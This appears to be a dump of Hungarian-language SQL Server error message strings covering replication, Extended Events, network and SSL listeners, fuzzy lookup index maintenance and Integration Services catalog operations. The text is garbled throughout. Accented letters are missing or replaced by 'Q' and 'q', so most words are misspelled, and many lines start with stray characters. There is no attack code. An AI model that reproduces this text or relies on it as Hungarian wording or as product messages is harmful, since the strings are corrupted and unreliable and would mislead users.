DA(z)  %1!s!  s  %2!s!  cikk kztti logikai rekordkapcsolat nem vehetQ fel, mert a cikkek legalbb egyikhez CASCADE mqvelettel megadott megkts tartozik.

A(z)  %1!s!  tbln nem hozhat ltre a cikk, mert tbb mint %2!s! oszlop tartozik hozz, s hasznlatban van az oszlopszintq kvets. Cskkentse a tblban az oszlopok szmt, vagy vltson sorszintq kvetsre.

lAz sp_MSupdategenhistory replikcis trolt eljrsnak nem sikerlt frisstenie a(z)  %1!s!  ltrehozst. Ezt a ltrehozst ismt megksrli a program a kvetkezQ egyestskor.

A pillanatkp-trols (@snapshot_storage_option) paramternek a  file system  vagy  database  kapcsolnak kell lennie.

A tblzat rtkq paramtereket tartalmaz trolt eljrsok nem tehetQk kzz  [serializable] proc exec  tpus cikknt.

A  database  pillanatkp-trolsi kapcsol nem kompatibilis a pillanatkp-ltrehozs bcp karakter mdjnak hasznlatval.

XRitka oszlop vagy ritka oszlopkszlet nem vehetQ fel, mert a tbla egyestses replikcira kzz van tve. Az egyestses replikci nem tmogatja a ritka oszlopokat.

pA sp_registercustomresolver folyamat nem tud tovbb mqkdni, mert nem a terjesztsi adatbzis krnyezetben van futtatva, vagy a terjesztsi adatbzis nincs megfelelQen frisstve.

xNincs elegendQ memria a bQvtettesemny-motor szmra.

 A(z)  %2!s!  %1!s! esetben konfigurcis hiba trtnt az inicializls sorn. Az objektum nem adhat hozz az esemny-munkamenethez. %3!s!

Nem sikerlt a(z)  %2!s!  %1!s! hozzadsa. Elrte az egyszeres clok maximlis szmt.

XA bQvtettesemny-motor le van tiltva.

Nem sikerlt a(z)  %2!s!  %1!s! hozzadsa. Elrte a csomagok maximlis szmt.

xNem sikerlt inicializlni a bQvtettesemny-motort. EllenQrizze az esetleges kapcsold problmkra vonatkoz informcit az SQL Server hibanapljban s a Windows esemnynapliban.

Az indtsi belltsok letiltottk a bQvtettesemny-motort. A bQvtett esemnyektQl fggQ funkcik esetleg nem indulnak majd el. 

A bQvtettesemny-motornak nem sikerlt rekordot lefoglalnia a helyi szl/rszszl szmra.

A(z) %1!s! nv    %2!s!    rvnytelen, vagy nem tallhat az objektum

pA(z) %1!s! ( %2!s! ) nv megktsei nem teljeslnek. Az objektum nem tmogatja a mqveletekhez vagy prediktumokhoz val ktst. Az esemny nem kerlt bele az esemny-munkamenetbe.

A(z)  %2!s!  %1!s! mr szerepel az esemny-munkamenetben. Az esemny-munkamenethez nem lehet objektumot hozzadni.

lA kvetkezQ %1!s! tbbszr van megadva:  %2!s! .

Nem ltezik a(z)  %3!s!  testreszabhat attribtum a kvetkezQhz:  %2!s!  %1!s!.

Nem egyezQ tpusok tartoznak a kvetkezQhz kttt prediktumkifejezshez: %1!s!, %2!s! .

A(z)  %2!s!  %1!s! mr ltezik. Vlasszon egyedi nevet az esemny-munkamenet szmra.

pA megadott puffermret kisebb a minimlis mretnl.

xA megadott puffermret meghaladja a maximlis mretet.

A megadott kldsi ksleltets a minimlis mret alatt van.

Ksrlet trtnt egy aszinkron cl 0 mretq maximlis memrival rendelkezQ munkamenethez trtnQ hozzadsra. Ahhoz, hogy egy munkamenetbe aszinkron clokat lehessen felvennie, a munkamenethez nullnl nagyobb maximlis memrinak kell tartoznia.

A prediktum forrs- s sszehasonlt tpusai nem egyeznek.

A(z)  %2!s!  %1!s! meghaladja a megengedett ktsi mqveletek szmt.

PA maximlis esemnymret kisebb az esemny-munkamenethez belltott memrinl. Adjon meg nagyobb rtket maximlis esemnymretknt, vagy adjon meg nulla rtket.

A kvetkezQhz tadott  %3!s!  paramter rvnytelen:  %2!s!  %1!s!. %4!s!

KtelezQ testreszabhat attribtumok hinyoznak a kvetkezQhz:  %2!s!  %1!s!.

A(z)  %2!s!  %1!s! nem vehetQ fel olyan esemny-munkamenetbe, amely esemnyvesztesg nlklisget ad meg.

|A(z)  %2!s!  %1!s! nem kthetQ az esemny-munkamenethez.

PA(z)  %2!s!  %1!s! nv rvnytelen.

Nem tallhat a(z)  %2!s!  %1!s!. EllenQrizze az objektum ltezst s a nv helyes rsmdjt.

Nem tallhat a(z)  %2!s!  %1!s!. EllenQrizze a csomag ltezst s a nv helyes rsmdjt.

Egyszerre nem szerepelhet kt mqvelet/prediktum a kvetkezQre vonatkozan:  %2!s!  %1!s!. Az egyiket tvoltsa el.

A(z)  %3!s!  testreszabhat attribtum tbbszr volt megadva a kvetkezQhz:  %2!s!  %1!s!.

A(z)  %3!s!  testreszabhat attribtumhoz megadott rtk nem egyezik a vrt  %4!s!  tpussal a kvetkezQ esetben:  %2!s!  %1!s!.

A(z)  %2!s!  %1!s! nem szerepel az esemny-munkamenetben. Az esemny-munkamenetbQl nem lehet objektumot eldobni.

pNem elg a pufferterlet a hibazenet msolshoz.

BQvtett esemnnyel kapcsolatos belsQ hiba: rvnytelen zenetkd.

THiba a mqvelet ellenQrzsekor. %1!s!

XHiba a prediktum ellenQrzsekor. %1!s!

PA(z)  %2!s!  %1!s! nv nem egyedi.

BQvtett esemnnyel kapcsolatos belsQ hiba: rvnytelen csomagazonost.

A bQvtettesemny-motor egy mqvelet vgrehajtsa kzben vratlan hibval lellt.

rvnytelen nevq esemny-munkamenet:  %1!s! . Az ideiglenes esemny-munkamenetek nem megengedettek.

4Az esemny-munkamenet  %1!s!  belltsa egynl tbbszr van megadva. Tvoltsa el a munkamenet ismtlQdQ belltst, s adja ki jra az utastst.

Az esemny-munkamenet  %1!s!  belltshoz rvnytelen rtk tartozik. Javtsa ki az rtket, s adja ki jra az utastst.

\Az esemny-munkamenet mr le van lltva.

\Az esemny-munkamenet mr el van indtva.

\Nem tallhat a kvetkezQ:  %2!s!  %1!s!.

LAz esemny-munkamenet  %1!s!  belltsa nem mdosthat a munkamenet futsa kzben. A munkamenet-bellts mdostsa elQtt lltsa le az esemny-munkamenetet.

A megadott  %1!s!  meghaladja a megengedett maximlis rtket. Adjon meg kisebb konfigurcis rtket.

|Egy vagy tbb esemny-munkamenet nem tudott elindulni. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

xA(z)  %1!s!  esemny-munkamenet nem tudott elindulni. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

hSikertelen volt egy esemnyprediktum elemzse.

rvnytelen sszehasonlt operator volt megadva egy esemnyprediktumhoz.

rvnytelen a kvetkezQhz megadott nv:  %2!s!  %1!s!,  %4!s!  %3!s!.

A(z)  %1!s!  esemny prediktuma rvnytelen. A(z)  %2!s! opertor nincs definilva a kvetkezQ tpushoz:  %3!s! , %4!s!:  %5!s! .

A(z)  %1!s!  esemny prediktuma meghaladja a maximlis %2!s! karakter hosszsgot.

Az opercis rendszer %1!s! hibt adott eredmnyl a kvetkezQ fjlbl val olvasskor:  %2!s! .

A(z)  %1!s!  naplfjlnv rvnytelen. GyQzQdjn meg arrl, hogy a fjl ltezik, s hogy az SQL Server szolgltatsi fikja hozzfr.

A kezdeti fjlnevet s a kezdeti eltolst prknt kell megadni. Javtsa a paramtereket, s prblja jbl vgrehajtani a lekrdezst.

A(z)  %1!s!  metaadatfjlnv rvnytelen. GyQzQdjn meg arrl, hogy a fjl ltezik, s hogy az SQL Server szolgltatsi fikja hozzfr.

Hrvnytelen a(z) %1!s! eltols a kvetkezQ naplfjlhoz:  %2!s! . Adjon meg olyan eltolst, amely ltezik a naplfjlban, s prblkozzon jra a lekrdezssel.

Hiba trtnt a kvetkezQ fjl metaadat-informciinak elrsekor:  %1!s! . ElQfordulhat, hogy a fjl srlt.

\A prediktum tl nagy a megjelentshez.

Hiba trtnt az sszes fut bQvtettesemny-munkamenet kirtsre tett ksrlet sorn. ElQfordulhat, hogy egyes esemnyek elvesztek.

Az esemny-adatfolyam le lett vlasztva, mert tl sok htralevQ esemny volt. A hiba elkerlshez tvoltson el esemnyeket vagy mqveleteket a munkamenetbQl, vagy vegyen fel erQsebben korltoz prediktumszqrQt a munkamenetbe.

A kvetkezQ nevq bQvtettesemny-munkamenetet vagy lelltottk, vagy eldobtk, ezrt az mr nem rhetQ el  %1!s! .

Nem tallhat a kvetkezQ nevq bQvtettesemny-munkamenet:  %1!s! . GyQzQdjn meg arrl, hogy a munkamenet ltezik, s el van indtva.

Az esemny-adatfolyam kapcsolata belsQ hiba miatt megszakadt.

Egy vagy tbb esemny-munkamenet nem tudta egyeztetni futsidei llapott. Az ok megllaptshoz tekintse t a jelenlegi munkamenet korbbi hibit, s hrtsa el a kapcsold problmkat.

A(z)  %1!s!  esemny-munkamenet nem tudta egyeztetni futsidei llapott. Az ok megllaptshoz tekintse t a jelenlegi munkamenet korbbi hibit, s hrtsa el a kapcsold problmkat.

A kvetkezQ fjlnv egy teljes elrsi utat jell:  %1!s! . Csak relatv elrsi utakat hasznljon meghajtbetqjel nlkl.

hA kvetkezQ forrsbellts rvnytelen: %1!s!.

Srlt puffer tallhat a(z)  %1!s!  fjlban %2!s! eltolsnl, a rendszer nem olvas be tbb esemnyt a fjlbl.

Egy biztonsgi fggvnytr problmja miatt a kiszolgl nem tudta inicializlni a titkostst. ElQfordulhat, hogy hinyzik a biztonsgi fggvnytr. EllenQrizze, hogy a rendszerben megvan az adott biztonsgi fggvnytr.

A kiszolgl gy prblta inicializlni az SSL titkostst, hogy az mr inicializlva volt. Ez az SQL Server rendszerrel kapcsolatos problmra utal. Forduljon a technikai tmogatsi szolglathoz.

Nem sikerlt betlteni a felhasznl ltal definilt tanstvnyt [a tanstvny kivonata (sha1):  %1!s! ]. A kiszolgl nem fogad kapcsolatot. EllenQrizze, hogy a tanstvny helyesen van teleptve. Lsd az online knyvek  Tanstvny konfigurlsa SSL protokollal val hasznlatra  (Configuring Certificate for Use by SSL) cmq rszt.

Nem sikerlt betlteni a felhasznl ltal definilt tanstvnyt. A kapcsolat titkostsa ktelezQ, ezrt a kiszolgl nem fog tudni kapcsolatokat fogadni. EllenQrizze, hogy a tanstvny helyesen van teleptve. Lsd az online knyvek  Tanstvny konfigurlsa SSL protokollal val hasznlatra  (Configuring Certificate for Use by SSL) cmq rszt.

A kiszolgl TCP-szolgltatja nem tud figyelni a kvetkezQ porton: [ %1!s! <%2!s!> %3!s!]. A TCP-port mr hasznlatban van.

A kiszolgl nem figyel a kvetkezQ porton: %1!s! <%2!s!> %3!s!. Hiba: %4!s!. A tovbblpshez rtestse a rendszergazdt.

LSikertelen HTTP-hitelests.%1!s!

A kiszolgl elnevezettadatcsatorna-szolgltatja nem tud figyelni a kvetkezQ porton: [ %1!s! ]. Hiba: %2!s!

Az SQL Server hlzati fggvnytrnak a slyos memriahelyzet miatt a closesocket mqveletben bekvetkezett hiba kvetkeztben nem sikerlt lezrnia a szoftvercsatorna lerjt. Winsock-hibakd: %1!s!.

Az SQL Server hlzati fggvnytrnak nem sikerlt betltenie az SPN-hez kapcsold fggvnytrat. Hiba: %1!s!.

A kiszolgl TCP-szolgltatja hiba miatt megszntette a figyelst a kvetkezQ porton: [%1!s!]. Hiba: %2!s!, llapot: %3!s!. A kiszolgl automatikusan megprblja jra ltrehozni a figyelst.

\A kiszolgl HTTP-szolgltatja egy hiba miatt megszntette a figyelst. Hiba: %1!s!, llapot: %2!s!. A kiszolgl automatikusan megprblja jra ltrehozni a figyelst.

A kiszolgl elnevezettadatcsatorna-szolgltatja egy hiba miatt megszntette a figyelst a kvetkezQ porton: [%1!s!]. Hiba: %2!s!, llapot: %3!s!. A kiszolgl automatikusan megprblja jra ltrehozni a figyelst.

A kiszolgl helyi kapcsolatszolgltatja nem tud figyelni a kvetkezQ porton: [ %1!s! ]. Hiba: %2!s!

A kiszolgl helyi kapcsolatszolgltatja egy hiba miatt megszntette a figyelst a kvetkezQ porton: [%1!s!]. Hiba: %2!s!, llapot: %3!s!. A kiszolgl automatikusan megprblja jra ltrehozni a figyelst.

(A SQL Server rendszer hlzati csatolinak nem sikerlt inicializlnia egy tbb csompontos (NUMA) kiszolgli konfigurci %1!s! csompontjn a(z) 0x%2!s! affinitsmaszkkal. ElQfordulhat, hogy nem elg a memria. Szabadtson fel mg memrit, kapcsolja ki a csompontot, majd kapcsolja vissza. Ha a hiba tovbbra is fennll, ismtelje meg ezt tbbszr is, vagy indtsa jra az SQL Server rendszert.

pNem sikerlt olyan IP-cmet tallni, amelytQl ez az SQL Server-pldny fggene. EllenQrizze, hogy fut a frtszolgltats, hogy az SQL Server rendszer s a hlzatnv-erQforrsok kztti fggQsgi kapcsolat helyes, s hogy elrhetQk azok az IP-cmek, amelyektQl ez az SQL Server-pldny fgg. Hibakd: %1!s!.

Az SSL-tmogats inicializlsa sorn nem sikerlt megllaptani a szmtgp teljesen minQstett tartomnynevt. Ez a szmtgp hlzati belltsaival kapcsolatos problmra utalhat. Hiba: %1!s!.

Van engedlyezett TCP-szolgltat, de nincsenek belltva portok a TCP-figyelshez. A kiszolgl nem tud TCP-kapcsolatokat fogadni.

Drvnytelen paramtert szlelt a rendszer a TCP-figyelsi port inicializlsakor. Hiba: %1!s!, llapot: %2!s!. Forduljon a technikai tmogatsi szolglathoz.

tEngedlyezve van az SQL Server adatbzismotor kibQvtett vdelme, de az opercis rendszer nem tmogatja a kibQvtett vdelmet. A Windows-hitelests hasznlatval trtnQ kapcsoldsi ksrletek esetleg sikertelenek lesznek. Keressen olyan szervizcsomagot az opercis rendszerhez, amely a szolgltatskts s a csatornakts rvn lehetQv teszi a kibQvtett vdelem hasznlatt, vagy tiltsa le az adatbzismotor kibQvtett vdelmt.

Hiba trtnt a frtk virtulis IP-cmnek a kibQvtett vdelemhez val konfigurlsa sorn. A Windows-hitelests hasznlatval trtnQ kapcsoldsi ksrletek esetleg sikertelenek lesznek. Hiba: %1!s!.

XA frterQforrsok fggvnytrainak betltse sikertelen volt: clusapi.dll s resutils.dll. Az SQL Server nem tud majd TCP-kapcsolatokat fogadni a frtztt figyelQkn.

A TCP-kapcsolat le lett zrva, de az SQL Server egyik gyermekfolyamata esetleg mg tartja a kapcsolati szoftvercsatorna msolatt. Fontolja meg az SQL Server TcpAbortiveClose belltsjegyzkbeli belltsnak engedlyezst s az SQL Server jraindtst. Ha a problma tartsan fennll, forduljon a technikai tmogatsi szolglathoz.

Nem sikerlt elindtani egy figyelQt a kvetkezQ nevq virtulis hlzathoz:  %1!s! . Hiba: %2!s!.

xFoglalt hibazenet. Elvben soha nem adja ki a rendszer.

DAz SQLCLR null vagy rvnytelen SqlCommand objektumot biztostott az intelligens egyeztetsq tblakarbantarts szmra. lltsa alapllapotba a kapcsolatot.

A jogkivonatok ltrehozsa kzben nem megfelelQ jogkivonatot tallt a rendszer.

A jogkivonatok ltrehozsa kzben nem vrt tpus jogkivonatot tallt a rendszer.

<A hibatqrQ index srlt.

Egy trlsi mqvelet sorn a trlendQ elemek listjbl egynl tbb elem trlse trtnt. A hibatqrQ index srlt.

res trlsi elemlista alapjn trtnQ trlsre tett ksrlet. A hibatqrQ index srlt.

A trlendQ elemek listjban nem tallhat a trlendQ elem. A hibatqrQ index srlt.

A hibatqrQ index gyakorisgai nem lehetnek negatvak. A hibatqrQ index srlt.

Olyan sor beszrsra trtnt ksrlet, amelynek azonostja mr jelen van. A hibatqrQ index srlt.

A hozzfqzshez nincs megadva a trlendQ elemek listja. A hibatqrQ index srlt.

tA jogkivonat nem trlhetQ. A hibatqrQ index srlt.

A jogkivonatokat ltrehoz objektumhoz nincs belltva elvlaszt. A hibatqrQ index srlt.

A trls sikertelen, mert a jogkivonat nem fordul elQ az indexben. A hibatqrQ index srlt.

Nem vrt hosszsg trlsi lista. A hibatqrQ index srlt.

Nem sikerlt a hibatqrQ indexhez kapcsoldni. Helytelen vagy hinyz SqlCommand objektum.

Nem sikerlt az indexet a tbla referenciapldnyra dobni.

Nem sikerlt beolvasni az adatokat a hibatqrQ indexbQl. Valsznqleg srlt az index.

Nem sikerlt inicializlni a hibatqrQ indexben trolt metaadatok alapjn. Valsznqleg srlt az index.

Az intelligens egyeztetsq tblakarbantartshoz tartoz hiba trtnt.

Rendszerhiba trtnt az intelligens egyeztetsq tblakarbantarts sorn.

Negatv indexpozciba nem lehet rni. Nem sikerlt frissteni a hibatqrQ indexet. Valsznqleg srlt az index.

HAz argumentum nem rvnyes hexadecimlis karakterlnc. Nem sikerlt inicializlni a hibatqrQ indexben trolt metaadatok alapjn. Valsznqleg srlt az index.

Negatv elemszm a hibatqrQ index metaadataiban. Valsznqleg srlt az index.

A hibatqrQ index metaadatai kztt nem tmogatott normalizlsi jelzQk tallhatk. Valsznqleg srlt az index.

rvnytelenek a hibatqrQ index metaadatai. Valsznqleg srlt az index.

prvnytelen verzijak a hibatqrQ index metaadatai.

|Hinyz metaadatok. Valsznqleg srlt a hibatqrQ index.

Nem sikerlt elemezni a jogkivonatok szmt a hibatqrQ index metaadatai kztt. Valsznqleg srlt az index.

Tl hossz a hibatqrQ index metaadatainak karakterlnca. Valsznqleg srlt az index.

Tllpte a hibatqrQ index metaadatainak megengedett hosszsgt.

A hibatqrQ index metaadatainak nem vrt vge. Valsznqleg srlt az index.

Nincs tblanv megadva a hibatqrQ indexhez. Valsznqleg srlt az index.

Nincs megadva bemenet a hibatqrQ index metaadatainak visszafejtshez. Valsznqleg srlt az index.

Nincs megadva bemenet a hibatqrQ index metaadatainak kdolshoz. Valsznqleg srlt az index.

Az inicializlshoz nincs megadva a hibatqrQ index metaadatainak karakterlnca. Valsznqleg srlt az index.

A szerializlshoz nincsenek megadva a hibatqrQ index metaadatai. Valsznqleg srlt az index.

Nem sikerlt megkeresni az object_id objektumazonostt. Nincs megadva objektumnv.

Nem sikerlt megkeresni az object_id objektumazonostt. Null parancsobjektum van megadva.

Nyitott kapcsolat szksges. A hibatqrQ indexet nem lehet lekrdezni.

Nem lehet rni null kimeneti pufferbe. Nem sikerlt frissteni a hibatqrQ indexet. Valsznqleg srlt az index.

A megadott kimeneti puffer tl kis mretq. Nem sikerlt frissteni a hibatqrQ indexet. Valsznqleg srlt az index.

A jogkivonatonknti minimlis kivonatrtkhez pozitv szm rszkarakterlnc szksges.

Nem sikerlt ltrehozni az indexet a tbla referenciapldnyn.

A referenciatblhoz (vagy a belsQ pldnyhoz) nincs egsz szm identitsoszlop. A hibatqrQ index valsznqleg srlt.

|A rendszer elrte az egszekhez megengedett maximlis identitsrtket. rdemes lehet a hibatqrQ indexet jra ltrehozni, hogy a sorozatban lvQ res helyek felhasznlhatkk vljanak.

HNem sikerlt beolvasni az erQforrs-azonostt a megadott adatokbl (hinyz oszlopnv, null olvasobjektum vagy srlt adatok). Valsznqleg srlt az index.

\Sikertelen a tblakarbantarts beszrsa.

A jogkivonat ltrehozshoz pozitv hosszsg rszkarakterlnc szksges.

Ezen a referenciatbln mr teleptve van a karbantarts esemnyindtja.

A karbantarts esemnyindtjn hinyzik a bQvtett tulajdonsg.

A karbantarts esemnyindtjnak neve nincs szinkronban a hibatqrQ index metaadataival. Valsznqleg srlt az index.

SQL-hiba trtnt az intelligens keressi tbla karbantartsa sorn.

Nem sikerlt megkeresni a kvetkezQ objektumot: object_id. A referenciatbla vagy a karbantartsi esemnyindt nem tallhat.

A hibatqrQ indexhez megadott tblanv nem minQsl rvnyes SQL-azonostnak.

A hibatqrQ indexhez megadott tblanv egy hinyz tblra hivatkozik. EllenQrizze a sys.tables katalgusnzetet.

Hinyzik egy kiegsztQ intelligens keressi tbla karbantartsi tblja.

KiegsztQ intelligens keressi tbla karbantartsi tbljnak neve nem lehet null rtkq. A karbantarts nem folytatdhat.

A referenciatblbl trlt sor nem tallhat a referenciatbla msolatban.

Az intelligens keressi tblk karbantartsi funkcija nincs teleptve vagy srlt a hibatqrQ index.

A bemeneti paramter ( %1!s! ) nem lehet null rtkq. Adjon meg rvnyes adatot a paramter szmra.

A bemeneti paramter ( %1!s! ) szmra megadott rtk rvnytelen. Adjon meg rvnyes adatot a paramter szmra.

A bemeneti paramter ( %1!s! ) nem lehet res. Adjon meg rvnyes adatot a paramter szmra.

A kvetkezQ vgrehajtsi pldny nem tallhat, mert nem ltezik, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

A kvetkezQ mappa nem tallhat, mert nem ltezik, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

A kvetkezQ mqvelet nem tallhat, mert nem ltezik, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

A kvetkezQ paramter nem tallhat, mert nem ltezik:  %1!s! .

DA megadott %1!s! mr ltezik.

A(z)  %1!s!  elrsi tja nem tallhat. A rendszer kilp a mqveletbQl.

A kvetkezQ projekt nem tallhat, mert nem ltezik, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

(Nem adhatk alaprtelmezett engedlyek a felhasznlnak a projekthez. GyQzQdjn meg arrl, hogy a felhasznlnak megadhatk ezek az engedlyek.

A kvetkezQ hivatkozs nem tallhat, mert nem rsze a projektnek, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

Nem sikerlt frissteni a sort a kvetkezQ tblban:  %1!s! . EllenQrizze, hogy a sor ltezik-e.

Nem sikerlt trlni egy vagy tbb sort a kvetkezQ tblban:  %1!s! . EllenQrizze, hogy a sorok lteznek-e.

A kvetkezQ hivatkozs nem tallhat, mert nem ltezik, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

A kvetkezQ clmappa nem tallhat, mert nem ltezik, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

|Az talakts sikertelen volt a titkosts elvgzsekor.

hA projekt visszafejtse sikertelen volt. ElkpzelhetQ, hogy trltk a projekt titkostshoz hasznlt szimmetrikus kulcsot. Trlje a projektet, s lltsa rendszerbe jbl.

A projekt rendszerbe lltsa sikertelen volt. KsQbb prblja meg jbl.

TA kvetkezQ nevq projekt titkostsa sikertelen volt:  %1!s! . ElkpzelhetQ, hogy trltk a szimmetrikus kulcsot. Trlje a projektet, s lltsa rendszerbe jbl.

xA kvetkezQ engedly megadsa sikertelen volt:  %1!s! .

A projekt jelenleg fut, vagy mr befejezQdtt. A vgrehajts egy pldnya csak egyszer indthat el.

A hatselemzs s a leszrmaztats nem hajthat vgre. Lehetsges, hogy a csomagadatok vagy a konfigurciadatok rvnytelenek. A csomag adatainak rvnyestshez nyissa meg a csomagot a Business Intelligence Development Studio fejlesztQi krnyezetben. A konfigurci adatainak rvnyestshez nyissa meg a konfigurcis XML-fjlt egy XML-szerkesztQben.

(A mqveletet nem indthatja el olyan fik, amely SQL Server-hitelestst hasznl. Indtsa el a mqveletet Windows-hitelestst hasznl fikbl.

,Az Integration Services-kiszolgl nem tudja lelltani a mqveletet. A megadott,  %1!s!  azonostj mqvelet rvnytelen, vagy jelenleg nem fut.

Az Integration Services-kiszolgl nem tudja lelltani a mqveletet. A megadott mqvelet nem konzisztens llapot, s nem llthat le.

Az Integration Services-kiszolgl nem tudja lelltani a mqveletet. A megadott mqvelet mr lellts alatt ll (Stopping llapot).

Az Integration Services rendszerbeli  %1!s!  katalgus nem ltezik.

A kvetkezQ nv nem rvnyes:  %1!s! . Olyan karakterekbQl ll, amelyek nem engedlyezettek.

A kvetkezQ mappa mr ltezik, vagy n nem kapott megfelelQ engedlyeket a mdostshoz:  %1!s! .

Az Integration Services-kiszolglnak nem sikerlt megszemlyestenie a hvt. A Windows a kvetkezQ hibakdot adta eredmnyl: %1!s!.

8Az Integration Services-kiszolglnak nem sikerlt elindtania a kvetkezQ folyamatot:  %1!s! . A Windows a kvetkezQ hibakdot adta eredmnyl: %2!s!.

LAz Integration Services-kiszolglnak nem sikerlt elindtania a kvetkezQ folyamat-sszetevQt:  %1!s! . A Windows a kvetkezQ hibakdot adta eredmnyl: %2!s!.

@Az Integration Services-kiszolgl nem tudta megvrni a kvetkezQ folyamat befejezQdst:  %1!s! . A Windows a kvetkezQ hibakdot adta eredmnyl: %2!s!.

$A kvetkezQ adatbzis mr ltezik:  %1!s! . Nevezze t vagy tvoltsa el a meglvQ adatbzist, majd futtassa jbl az SQL Server teleptQjt.

<Az Integration Services 32 bites kiadshoz szksges sszetevQk nem tallhatk. Futtassa az SQL Server teleptQjt a szksges sszetevQk felvtelhez.

A kvetkezQ rendszerbellts belltskulcsa nem tallhat:  %1!s! . A rendszer kilp a mqveletbQl.

A bemeneti paramter nem lehet null rtkq. Adjon meg rvnyes adatot a paramter szmra.

Az Integration Services-kiszolglt nem lehet konfigurlni, mert aktv mqveletek vannak folyamatban. Vrja meg az aktv mqveletek befejezQdst, majd prblkozzon jra a kiszolgl konfigurlsval.

A mqvelet nem indthat el, mert a felhasznl nem tagja a(z)  %1!s!  adatbzis-szerepkrnek vagy a(z)  %2!s!  kiszolgli szerepkrnek. Jelentkezzen be valamelyik szerepkr tagjaknt, s prblja meg jbl elindtani a mqveletet.

A kvetkezQ nem egy rvnyes krnyezetnv:  %1!s! . Olyan karakterekbQl ll, amelyek nem engedlyezettek.

Nem lehet hozzfrni a(z)  %1!s!  azonostj mqvelethez. EllenQrizze, hogy a felhasznl rendelkezik-e a megfelelQ jogosultsgokkal.

A kvetkezQ nem egy rvnyes projektnv:  %1!s! . Olyan karakterekbQl ll, amelyek nem engedlyezettek.

PNem lehet hozzfrni a csomaghoz vagy a csomag nem ltezik. EllenQrizze, hogy a csomag ltezik-e, s hogy a felhasznl rendelkezik-e a megfelelQ jogosultsgokkal.

A bemeneti rtk adattpusa nem kompatibilis a kvetkezQ objektum adattpusval:  %1!s! . 

A paramter adattpusa nem felel meg a krnyezeti vltoz adattpusnak.

Az Integration Services-kiszolgl jelenleg nem tudja vgrehajtani a krt mqveletet a megadott csomagon, mert a csomag fggQ llapotban van. Vrja meg, amg a csomag megszqnik fggQ llapotban lenni, s prblja meg jbl vgrehajtani a mqveletet.

A projekt verzija mdosult a vgrehajts pldnynak ltrehozsa ta. Hozzon ltre j vgrehajtsi pldnyt, s prblja meg jbl.

HA felhasznlt nem sikerlt felruhzni a mqvelet alaprtelmezett jogosultsgaival. EllenQrizze, hogy a felhasznlhoz hozzrendelhetQk-e ezek a jogosultsgok.

Hinyzik a @sensitive paramter. E paramter hasznlatval lehet jelezni, ha a paramter knyes rtket tartalmaz.

TA projekt visszalltsa sikertelen volt. Nem llthat vissza olyan projekt, amelyhez tartoz object_version_lsn megegyezik a jelenlegi projekt megfelelQ rtkvel.

 Az Integration Services-kiszolgl kvetkezQ tulajdonsga nem tallhat:  %1!s! . EllenQrizze a tulajdonsg nevt, majd prblja meg jra.

A kvetkezQ krnyezet mr ltezik, vagy n nem kapott megfelelQ engedlyeket a ltrehozshoz:  %1!s! .

%1!s!. szm hiba trtnt a(z)  %2!s!  eljrsban, a(z) %3!s!. sornl. Hibazenet:  %4!s! . A hiba szintje %5!s!, az llapot pedig %6!s!.

`A bemeneti rtk adattpusa nem tmogatott.

A(z)  %1!s!  tulajdonsg nem mdosthat, mert az Integration Services-adatbzis nem egyfelhasznls zemmdban van. A Management Studio krnyezet Adatbzis tulajdonsgai prbeszdpaneln lltsa a Hozzfrs korltozsa tulajdonsgot egyfelhasznls zemmdra. Ezt kvetQen prblja meg jra mdostani a tulajdonsg rtkt.

Az Integration Services-kiszolgl kvetkezQ tulajdonsga rvnytelen rtkkel rendelkezik:  %1!s! . A Management Studio krnyezet Integrcis szolgltatsok tulajdonsgai prbeszdpaneln adjon meg egy rvnyes rtket a tulajdonsg szmra.

Az SQL Server teleptett verzija nem tmogatja az Integration Services-kiszolgl teleptst. Frisstse az SQL Server rendszert, majd prblja jbl telepteni az Integration Services-kiszolglt.

XNem sikerlt mdostani a titkostsi algoritmust a kvetkezQre:  %1!s! . Hiba trtnt a krnyezeti vltozknak a kvetkezQ algoritmussal val titkostsakor:  %2!s! .

TNem sikerlt mdostani a titkostsi algoritmust a kvetkezQre:  %1!s! . Hiba trtnt a paramterrtkeknek a kvetkezQ algoritmussal val titkostsakor:  %2!s! .

Sikertelen volt a naplbejegyzs ltrehozsa a krt mqvelethez.

A kvetkezQ nevq projekt beolvassa sikertelen volt:  %1!s! .

A megadott rtk rvnytelen. Egy  %1!s!  adattpus rtk szksges.

(A kvetkezQ projekt titkostshoz hasznlt tanstvny s szimmetrikus kulcs nem ltezik, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

tA kvetkezQ krnyezeti vltoz mr ltezik:  %1!s! .

HA vgrehajts mr befejezQdtt.

A kvetkezQ paramter nem ltezik, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

A krnyezetneveknek egyedieknek kell lennik. Mr ltezik  %1!s!  nevq krnyezet.

A kvetkezQ nevq projekt nem hajthat vgre:  %1!s! . nnek nincsenek megfelelQ engedlyei.

Az objektum verzija nem felel meg a projektazonostnak, vagy nnek nincsenek megfelelQ engedlyei.

A kvetkezQ nem egy rvnyes krnyezetivltoz-nv:  %1!s! . Olyan karakterekbQl ll, amelyek nem engedlyezettek.

A kvetkezQ projekt mr ltezik, vagy n nem kapott megfelelQ engedlyeket az elrshez:  %1!s! .

A kvetkezQ krnyezet nem ltezik, vagy n nem kapott megfelelQ engedlyeket az elrshez:  %1!s! .

A kvetkezQ krnyezeti vltoz nem ltezik, vagy n nem kapott megfelelQ engedlyeket az elrshez:  %1!s! .

A csomag vgrehajtshoz meg kell adnia a szksges paramterek rtkt.

A kvetkezQ azonosthoz tartoz rvnyestsi rekord nem ltezik, vagy n nem kapott megfelelQ engedlyeket az elrshez:  %1!s! . 

Egy vagy tbb krnyezeti vltoz nem tallhat a hivatkozott krnyezetben.

A projekt nem ltezik, vagy n nem kapott megfelelQ engedlyeket az elrshez.

Csak az ssis_admin vagy a sysadmin kiszolgli szerepkr tagjai hozhatnak ltre, trlhetnek vagy nevezhetnek t egy katalgusmappt.

A katalgusmappa neve nem lehet NULL vagy res karakterlnc.

